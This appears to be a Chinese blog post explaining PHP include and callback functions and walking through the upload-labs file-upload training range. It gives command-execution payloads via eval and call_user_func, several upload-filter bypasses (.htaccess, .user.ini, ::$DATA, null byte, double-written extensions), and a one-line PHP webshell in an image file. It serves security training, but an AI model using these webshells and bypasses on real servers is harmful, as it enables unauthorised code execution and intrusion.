upload靶场与常见php函数
php中常见的函数include_once () 作用基础定义include_once()引入并运行外部 PHP 文件同一个文件只会被引入一次。核心特性once 只引入一次脚本多次写include_once(xxx.php)只有第一次生效后续直接忽略不会重复加载。找不到文件产生警告Warning脚本继续执行和require_once区分require_once文件不存在直接致命错误终止程序。作用域在函数外引入变量全局生效在函数内部引入变量默认局部作用域路径查找规则和include()一致遵循include_path和同类函数对比表格函数文件缺失报错是否允许重复引入include()警告继续运行可以重复引入include_once()警告继续运行仅引入一次require()致命错误停止运行可以重复引入require_once()致命错误停止运行仅引入一次回调函数什么是回调函数简单定义回调函数就是把一个函数作为参数传给另一个函数在适当的时候被回调执行。核心思想将做什么函数逻辑和何时做触发时机分离。常用内置回调函数函数作用示例array_map()对数组每个元素应用回调array_map(strtoupper, [a,b])array_filter()过滤数组元素array_filter([1,2,3], function($v){return $v1;})usort()自定义排序usort($arr, function($a,$b){return $a-$b;})call_user_func()调用回调函数call_user_func(strlen, hello)call_user_func_array()参数以数组形式传递call_user_func_array(strpos, [hello, e])register_shutdown_function()脚本结束时执行register_shutdown_function(myCallback)set_error_handler()自定义错误处理set_error_handler(function($errno,$errstr){...})回调函数在安全中的应用?php // eval_get_vuln.php - 漏洞演示代码 // ⚠ 仅用于本地安全测试不要用于生产环境 ​ if (isset($_GET[code])) { //codecall_user_func(system,whoami); $code $_GET[code]; eval($code); // 危险直接执行用户传入的代码 } ?palyload1: [10.82.221.6/include/test2.php?codecall_user_func($GET[fun],$GET[w]);funsystemwwhoamipalyload2:[10.82.221.6/include/test2.php?codecall_user_func(system,whoami);palyload3:[10.82.221.6/include/test2.php?code$funsystem;$wwhoami;call_user_func($fun,$w);利用call_user_func执行任意函数高危漏洞代码$func $_GET[func]; $param $_GET[param]; call_user_func($func, $param);攻击方式?funcsystemparamwhoami→ 执行system(whoami)?funcphpinfoparam1→ 执行phpinfo()?funcassertparamphpinfo()→ 执行assert(phpinfo())eval执行字符串upload靶场第一关function checkFile() { var file document.getElementsByName(upload_file)[0].value; if (file null || file ) { alert(请选择要上传的文件!); return false; } //定义允许上传的文件类型 var allow_ext .jpg|.png|.gif; //提取上传文件的类型 var ext_name file.substring(file.lastIndexOf(.)); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name |) -1) { var errMsg 该文件不允许上传请上传 allow_ext 类型的文件,当前文件类型为 ext_name; alert(errMsg); return false; } }通过源码可知var allow_ext .jpg|.png|.gif;只允许上传jpgpnggif类型的文件我们可以把文件的后缀名改成.jpg然后通过burpsuite进行抓包把它的后缀名改回php这样就能成功绕过第二关if (($_FILES[upload_file][type] image/jpeg) || ($_FILES[upload_file][type] image/png) || ($_FILES[upload_file][type] image/gif)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH . / . $_FILES[upload_file][name] if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 文件类型不正确请重新上传;第二关比第一关多了一个MIME类型校验$_FILESupload_file检查HTTP 请求头里的 Content-Type此时我们只需用burpsuite抓包并把Content-Type改成image/jpeg就能绕过第三关:deldot()清除文件名末尾的点strrchr(字符串,字符)从最后一个.开始截取后面全部内容用来提取后缀strtolower()转换为小写str_ireplace(::$DATA, , $file_ext) 不区分大小写替换清除 ::$DATtrim($file_ext);清除后缀前后空白字符$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.asp,.aspx,.php,.jsp); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //收尾去空 ​ if(!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 不允许上传.asp,.aspx,.php,.jsp后缀文件; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } }只禁止少量脚本后缀大量可执行后缀没有拦截.phtml .phps .php3 .php5 .asa .cer .cdx只要 Web 服务器配置支持解析这些后缀即可执行代码。第四关第四关比第三关的黑名单多了$deny_ext array(.php,.php5,.php4,.php3,.php2,php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf);并且也开了大小写转换此时我们就可以用.htaccess在.htaccess文件里写入FilesMatch \.png$ FcgidWrapper D:/phpstudy_pro/Extensions/php/php8.1.11/php-cgi.exe .png /FilesMatch先上传.htaccess再上传png文件它就会把png自动解析成php第五关第五关没有大小写转换函数$file_ext strtolower($file_ext);此时我们就能通过抓包把文件的后缀改成大写或者大小混写的方式绕过同时我们也可以利用.user.ini配置文件这个文件可以像.htaccess一样在每个目录中设置PHP选项。前提条件PHP版本高于5.3。服务器运行在CGI/FastCGI模式下可通过查看phpinfo()确认。操作步骤上传.user.ini创建一个内容如下的文件并上传iniauto_prepend_file test.jpg这行代码的意思是让所有PHP文件在执行前都自动包含includetest.jpg文件。上传图片马创建一个包含一句话木马的test.jpg图片马并上传。原理之后当访问该目录下的任何PHP文件例如readme.php时test.jpg中的PHP代码都会被自动加载并执行第六关由于此关没有$file_ext trim($file_ext);这个函数我们可以通过抓包的方式在文件名后缀加一个空格但此方法只适用于老版本。第七关此关相比第六关缺少了$file_name deldot($file_name);这个函数我我们可以在文件末尾添加一个.形成php.在 Windows下文件名末尾的点会被自动去除最终生成的文件名是shell.php第八关$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件类型不允许上传; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } } ​与第七关相比缺少了$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA我们可以通过抓包的方式修改文件名后缀在文件后缀添上::$DATA此时目录下的.php文件文件名是时间戳随机数可查看返回路径或根据日期猜测访问即可触发木马。第九关上传.user.ini内容auto_prepend_file shell.jpg再上传包含木马的图片马shell.jpg最后访问该目录下任意一个.php文件第十关$is_upload false; $msg null; if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess); ​ $file_name trim($_FILES[upload_file][name]); $file_name str_ireplace($deny_ext,, $file_name); $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; } }str_ireplace(查找数组,替换内容,目标字符串) 作用不区分大小写把文件名中所有匹配黑名单里的字符串直接替换为空。 ⚠️ 注意它不是匹配后缀它是全局字符串替换只要文件名里包含黑名单文本就删除。方法一准备两个文件.user.ini 文件内容auto_prepend_file shell.jpg图片马shell.jpg内容为GIF89a头部 一句话木马?php eval($_POST[cmd]); ?。上传 .user.ini直接上传该文件因为黑名单中无ini。保存后的文件名是.user.ini注意开头有点是隐藏文件但 Web 目录下可访问。上传 shell.jpg直接上传因为黑名单无jpg。触发木马访问该目录下的任意.php文件例如http://127.0.0.1/upload/upload/index.php如果不存在可以自己上传一个空白的test.php。此时PHP 会先执行auto_prepend_file自动包含shell.jpg木马被执行。用蚁剑/菜刀连接URL 为http://127.0.0.1/upload/index.php密码cmd即可获得 Shell。方法二可以双写文件名来绕过此关shell.pphphp第十一关准备图片马 创建一个包含一句话木马的图片文件如 shell.jpg内容GIF89a ?php eval($_POST[cmd]); ?拦截上传请求 正常上传该文件用 Burp Suite 拦截 POST 请求。修改 save_path 参数 在请求的 URL 中通常在 GET 参数里因为源码使用 $_GET[save_path]将 save_path 的值改为textupload/shell.php%00注意%00需要是 URL 编码后的空字节即%00。如果使用 Burp 的Repeater或直接在浏览器地址栏测试确保%00不被二次编码。第十三关function getReailFileType($filename){ $file fopen($filename, rb); $bin fread($file, 2); //只读2字节 fclose($file); $strInfo unpack(C2chars, $bin); $typeCode intval($strInfo[chars1].$strInfo[chars2]); $fileType ; switch($typeCode){ case 255216: $fileType jpg; break; case 13780: $fileType png; break; case 7173: $fileType gif; break; default: $fileType unknown; } return $fileType; } ​ $is_upload false; $msg null; if(isset($_POST[submit])){ $temp_file $_FILES[upload_file][tmp_name]; $file_type getReailFileType($temp_file); ​ if($file_type unknown){ $msg 文件未知上传失败; }else{ $img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload true; } else { $msg 上传出错; } } } ​1.制作一个图片码制作方法以 GIF89a 为例GIF89a ?php eval($_POST[cmd]); ?或使用工具如copy /b shell.jpgshell.php shell.jpg合并。2.上传该图片码上传后文件被保存为随机数.jpg内容包含木马但后缀是.jpg默认不会执行 PHP 代码如果靶机存在其他页面如include.php包含用户可控的文件路径则可以通过访问该页面包含图片马使其中的 PHP 代码被执行。

相关新闻

腾讯百度地图POI分类关键词表构建:从数据清洗到多源融合实战

腾讯百度地图POI分类关键词表构建:从数据清洗到多源融合实战

1. 项目缘起:从一次数据清洗的“阵痛”说起去年,我们团队接手了一个城市商业分析的项目,核心任务是通过地图兴趣点数据,分析不同区域的商业业态分布与竞争格局。数据源很明确:腾讯地图和百度地图的POI。然而&#xff0…

2026/7/31 6:46:24阅读更多 →
Java Stream流:从集合操作到函数式编程的实战指南

Java Stream流:从集合操作到函数式编程的实战指南

1. 项目概述:为什么我们需要Stream流?如果你写过几年Java,肯定对集合操作不陌生。回想一下,要处理一个用户列表,筛选出活跃用户、按年龄排序、再提取出他们的邮箱,用传统的for循环和临时集合,代…

2026/7/31 6:46:24阅读更多 →
开源模型编码自动化成本控制:Fireworks Nexus实战指南

开源模型编码自动化成本控制:Fireworks Nexus实战指南

你刚接手一个新项目,老板扔过来一个需求文档,里面写着“用开源模型把日常编码任务自动化一下”。你打开 GitHub,看着琳琅满目的开源模型,从 CodeLlama 到 StarCoder,从 DeepSeek-Coder 到刚冒出来的新秀,每…

2026/7/31 6:46:23阅读更多 →
Cocos Creator帧动画组件开发:从原理到高性能实现

Cocos Creator帧动画组件开发:从原理到高性能实现

1. 项目概述:为什么我们需要一个自定义的帧动画播放组件? 在Cocos Creator项目中处理动画,尤其是序列帧动画,是每个开发者都会遇到的常规需求。引擎内置的 Sprite 组件配合 SpriteFrame 数组,或者使用 Animation …

2026/7/31 7:54:49阅读更多 →
齿轮泵噪音大怎么降低分贝 专业科普降低噪音的有效方法

齿轮泵噪音大怎么降低分贝 专业科普降低噪音的有效方法

矿山、工程机械、装载机、石油修井机等重工场景中,液压系统长期处于重载冲击、高频作业、粉尘潮湿的恶劣环境,齿轮泵作为核心动力部件,极易出现噪音过大、供油不稳、压力不足、油液渗漏等问题。异常噪音不仅污染作业环境,更是设备…

2026/7/31 7:54:49阅读更多 →
C++结构体实战:从数据孤岛到关系映射的导师制信息管理

C++结构体实战:从数据孤岛到关系映射的导师制信息管理

1. 项目概述:从“数据孤岛”到“关系映射”的实战演练在C的初学阶段,我们常常会接触到数组、变量这些基础的数据容器,它们能很好地管理单一类型、逻辑简单的数据。但当我们面对现实世界中的复杂实体时,比如一个“带教老师”和他所…

2026/7/31 7:54:49阅读更多 →
HTTP分片下载与断点续传:从协议原理到Python实现

HTTP分片下载与断点续传:从协议原理到Python实现

1. 从一次失败的下载说起:为什么我们需要分片那天下午,我正在从公司内网服务器拉取一个将近10GB的虚拟机镜像文件。进度条缓慢地爬到了78%,网络突然闪断了一下。等我重新连接,发现下载工具弹出了一个冰冷的提示:“网络…

2026/7/31 7:54:49阅读更多 →
Spring WebFlux WebClient文件传输实战:解决缓冲区限制与流式处理

Spring WebFlux WebClient文件传输实战:解决缓冲区限制与流式处理

1. 项目概述:WebClient文件传输的实战与深坑 在微服务架构里,服务间的文件传输是个高频且容易踩坑的场景。特别是当你从传统的同步阻塞式框架(比如用 RestTemplate )转向响应式编程栈,使用Spring WebFlux的 WebClie…

2026/7/31 7:54:48阅读更多 →
RaDIO系统:大语言模型实时幻觉检测技术解析

RaDIO系统:大语言模型实时幻觉检测技术解析

1. 项目概述:RaDIO如何革新大语言模型的幻觉检测 在AAAI 2025大会上,浙师大与港科大联合团队发布的RaDIO系统,可能是当前解决大语言模型(LLM)幻觉问题最实用的方案。作为长期跟踪LLM落地的从业者,我亲测过数…

2026/7/31 7:52:48阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/7/30 15:03:16阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/7/30 12:22:27阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/7/30 15:13:02阅读更多 →
物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:40阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:41阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:41阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/31 0:49:33阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/31 5:08:18阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/30 15:43:46阅读更多 →